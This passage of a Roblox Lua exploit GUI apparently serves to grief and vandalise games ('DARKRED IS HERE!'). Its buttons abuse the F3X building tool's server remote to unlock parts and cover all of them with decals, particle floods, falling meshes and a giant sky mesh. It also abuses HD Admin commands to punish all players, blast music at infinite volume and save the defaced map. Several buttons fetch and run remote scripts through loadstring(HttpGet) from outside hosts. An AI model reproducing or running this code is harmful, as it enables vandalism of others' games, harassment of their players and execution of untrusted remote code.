[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("73916685652770")
end)
end
task.spawn(SCRIPT_36)
-- // StarterGui.ScreenGui.ImageLabel.Script.TextButton.LocalScript \\ --
local function SCRIPT_38()
local script = UI["38"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("96073597459340")
end)
end
task.spawn(SCRIPT_38)
-- // StarterGui.ScreenGui.ImageLabel.Script.TextButton.LocalScript \\ --
local function SCRIPT_3a()
local script = UI["3a"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("133987488571469")
end)
end
task.spawn(SCRIPT_3a)
-- // StarterGui.ScreenGui.ImageLabel.Script.disco.LocalScript \\ --
local function SCRIPT_3c()
local script = UI["3c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";disco")
end)
end
task.spawn(SCRIPT_3c)
-- // StarterGui.ScreenGui.ImageLabel.Script.hint.LocalScript \\ --
local function SCRIPT_3e()
local script = UI["3e"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverHint DARKRED IS HERE!")
end)
end
task.spawn(SCRIPT_3e)
-- // StarterGui.ScreenGui.ImageLabel.Script.mama soy un angry bird.LocalScript \\ --
local function SCRIPT_40()
local script = UI["40"]
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
-- Ejemplo de botón (puedes reemplazar 'script.Parent' por la ruta de tu botón TextButton/ImageButton)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local char = player.Character or player.CharacterAdded:Wait()
local function GetToolInstant()
local tool = nil
if player.Character then
tool = player.Character:FindFirstChild("Building Tools+") or player.Character:FindFirstChild("F3X")
end
if not tool and player:FindFirstChild("Backpack") then
tool = player.Backpack:FindFirstChild("Building Tools+") or player.Backpack:FindFirstChild("F3X")
end
if not tool then
for _, v in ipairs(player:GetDescendants()) do
if v.Name == "SyncAPI" then return v.Parent end
end
end
if not tool then
for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
if v.Name == "SyncAPI" then return v.Parent end
end
end
return tool
end
local tool = GetToolInstant()
if not tool or not tool:FindFirstChild("SyncAPI") then return end
local remote = tool.SyncAPI.ServerEndpoint
local function SendRemote(args)
if remote then
remote:InvokeServer(unpack(args))
end
end
local function RunHDCommand(cmd)
local success, RequestCommand = pcall(function()
return ReplicatedStorage:WaitForChild("HDAdminHDClient", 2).Signals.RequestCommandSilent
end)
if success and RequestCommand then
RequestCommand:InvokeServer(cmd)
else
local chatEvents = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
if chatEvents and chatEvents:FindFirstChild("SayMessageRequest") then
chatEvents.SayMessageRequest:FireServer(cmd, "All")
end
end
end
local function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
SendRemote(args)
end
local function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
SendRemote(args)
end
local function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
SendRemote(args)
end
local function MovePart(part, cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
SendRemote(args)
end
local function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
SendRemote(args)
end
local function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
SendRemote(args)
end
local function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
SendRemote(args)
end
local function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
SendRemote(args)
end
local function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
SendRemote(args)
end
local function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
SendRemote(args)
end
local function SetLocked(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
SendRemote(args)
end
local function SpawnDecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
SendRemote(args)
end
local function AddDecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://" .. asset
}
}
}
SendRemote(args)
end
local function spam(id)
local faces = {
Enum.NormalId.Front,
Enum.NormalId.Back,
Enum.NormalId.Right,
Enum.NormalId.Left,
Enum.NormalId.Bottom,
Enum.NormalId.Top
}
for _, v in ipairs(Workspace:GetDescendants()) do
if v:IsA("BasePart") then
task.spawn(function()
SetLocked(v, false)
for _, face in ipairs(faces) do
SpawnDecal(v, face)
AddDecal(v, id, face)
end
if math.random(1, 3) == 1 then
SetAnchor(false, v)
end
end)
end
end
end
local function Sky(id)
local root = char:WaitForChild("HumanoidRootPart", 5)
if not root then return end
local spawnPos = root.CFrame + Vector3.new(0, 6, 0)
CreatePart(spawnPos, Workspace)
local skyPart
for _, v in ipairs(Workspace:GetChildren()) do
if v:IsA("BasePart") and (v.Position - spawnPos.Position).Magnitude < 5 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "PersistentSmoothCrazySkybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
local rx, ry, rz = 0, 0, 0
RunService.RenderStepped:Connect(function(dt)
if skyPart and skyPart.Parent then
rx = rx + (1.2 * dt)
ry = ry + (1.8 * dt)
rz = rz + (1.0 * dt)
local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
MovePart(skyPart, smoothCF)
end
end)
end
end
local function StartMeshRain()
task.spawn(function()
local root = char:WaitForChild("HumanoidRootPart")
while true do
task.wait(0.5)
local hrpcf = root.CFrame
local x = hrpcf.X
local z = hrpcf.Z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = math.floor(randint + x)
local zloc = math.floor(randint2 + z)
local yloc = math.random(hrpcf.Y + 400, hrpcf.Y + 800)
local spawnCF = CFrame.new(xloc, yloc, zloc)
task.spawn(function()
CreatePart(spawnCF, Workspace)
for _, v in ipairs(Workspace:GetChildren()) do
if v:IsA("BasePart") and v.Name == "Part" and v.Position.X == xloc and v.Position.Z == zloc then
SetName(v, "b_1337")
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(100, 100, 100), v.CFrame)
MeshResize(v, Vector3.new(3, 3, 3))
SetMesh(v, "6213955103")
SetTexture(v, "6213955162")
SetCollision(v, false)
end
end
end)
end
end)
end
local function spamParticles()
local particlesDecalID = "89159175867548"
local SPAM_DELAY = 0.03
task.spawn(function()
for _, v in ipairs(Workspace:GetDescendants()) do
if v:IsA("BasePart") then
task.spawn(function()
SendRemote({"SetLocked", {v}, false})
SendRemote({"CreateDecorations", {{Part = v, DecorationType = "ParticleEmitter"}}})
SendRemote({"SyncDecorate", {{
Part = v,
DecorationType = "ParticleEmitter",
Rate = "5000",
SpreadAngle = "18000",
RotSpeed = "10",
Texture = "rbxassetid://" .. particlesDecalID,
Speed = "24",
Size = "1"
}}})
end)
task.wait(SPAM_DELAY)
end
end
end)
end
RunHDCommand(";music 135082230598647")
RunHDCommand(";punish all")
spam("89159175867548")
Sky("89159175867548")
StartMeshRain()
spamParticles()
local function executeExtraParticles()
local additionalParticlesDecalID = "89159175867548"
local additionalDelay = 0.03
task.spawn(function()
for _, v in ipairs(Workspace:GetDescendants()) do
if v:IsA("BasePart") then
task.spawn(function()
SendRemote({"SetLocked", {v}, false})
SendRemote({"CreateDecorations", {{Part = v, DecorationType = "ParticleEmitter"}}})
SendRemote({"SyncDecorate", {{
Part = v,
DecorationType = "ParticleEmitter",
Rate = "5000",
SpreadAngle = "18000",
RotSpeed = "10",
Texture = "rbxassetid://" .. additionalParticlesDecalID,
Speed = "24",
Size = "2"
}}})
end)
task.wait(additionalDelay)
end
end
end)
end
executeExtraParticles()
end)
end
task.spawn(SCRIPT_40)
-- // StarterGui.ScreenGui.ImageLabel.Script.mario.exe.LocalScript \\ --
local function SCRIPT_42()
local script = UI["42"]
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 844208899")
RequestCommand:InvokeServer(";pitch 0.2")
RequestCommand:InvokeServer(";volume inf")
wait(4.8)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 133180219581309")
RequestCommand:InvokeServer(";pitch 0.09")
RequestCommand:InvokeServer(";volume inf")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("120446277926674")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";time 17")
wait (1)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("120446277926674")
wait (0.5)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black")
RequestCommand:InvokeServer(";savemap")
end)
end
task.spawn(SCRIPT_42)
-- // StarterGui.ScreenGui.ImageLabel.Script.Pickle567421 gui f3x.LocalScript \\ --
local function SCRIPT_44()
local script = UI["44"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Pickle567421-gui-f3x-226632"))()
end)
end
task.spawn(SCRIPT_44)
-- // StarterGui.ScreenGui.ImageLabel.Script.Yellow2Spooky GUI F3X.LocalScript \\ --
local function SCRIPT_46()
local script = UI["46"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://voidedx.vercel.app/api/raw?id=vx_ba3ieaxp"))()
end)
end
task.spawn(SCRIPT_46)
-- // StarterGui.ScreenGui.ImageLabel.Script.g00by665len gui f3x.LocalScript \\ --
local function SCRIPT_49()
local script = UI["49"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-g00by665len-gui-f3x-New-update-228268"))()
end)
end
task.spawn(SCRIPT_49)
-- // StarterGui.ScreenGui.ImageLabel.Script.1x1x1x1 gui.LocalScript \\ --
local function SCRIPT_4b()
local script = UI["4b"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-1x1x1x1-F3X-GUI-Script-58801"))()
end)
end
task.spawn(SCRIPT_4b)
-- // StarterGui.ScreenGui.ImageLabel.Script.Realm gh00stkidd and yellow2spooky F3X.LocalScript \\ --
local function SCRIPT_4d()
local script = UI["4d"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-F3X-REALM-ghOOstkidd93-and-Yellow2Spooky-231197"))()
end)
end
task.spawn(SCRIPT_4d)
